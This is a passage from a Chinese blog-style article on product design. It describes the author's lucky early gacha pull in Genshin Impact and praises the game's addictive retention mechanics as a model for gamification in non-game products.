超预期的中奖概率我刚玩一周,抽卡还不到20次的时候,就抽到了当期up的五星角色“胡桃”,一查发现这个角色很厉害,有人抽了上百次都没抽到,白板号都能卖到5、600元,觉得自己运气很好,赚到了的感觉,更加卖力地玩下去把角色养大。后来跟大家交流才发现,新玩家在没有充值的情况下,在小保底前抽到当期up角色的概率非常大,可以推测新玩家中奖率是影响后续留存的关键指标,给予新手一个惊喜的角色,足以把他牢牢套在了后续的养成玩法中,毕竟不玩就亏了。三、总结如果说不断吸引用户使用产品并付费是所有产品的目标,那么《原神》中让人上瘾的机制值得所有人学习。通过打卡或等级机制让用户完成积极完成课程学习计划、通过抽奖活动让用户疯狂转发…… 这些都是游戏化思维在非游戏产品中的典型运用。沃顿商学院副教授凯文·韦巴赫和丹·亨特在《游戏化思维》书中也提到类似的观点:游戏的本质并不是娱乐,它是人性与设计过程巧妙地融合后的产物。数以百万计的人们之所以沉迷于电脑、游戏机、手机、平板电脑和Facebook等社交网站上的游戏,是因为那些游戏是设计者们在借鉴了人类几十年的现实社会经验和心理学的研究成果后,严格而巧妙地设计出来的。
2022年05月
2022年04月
2022年01月
2021年12月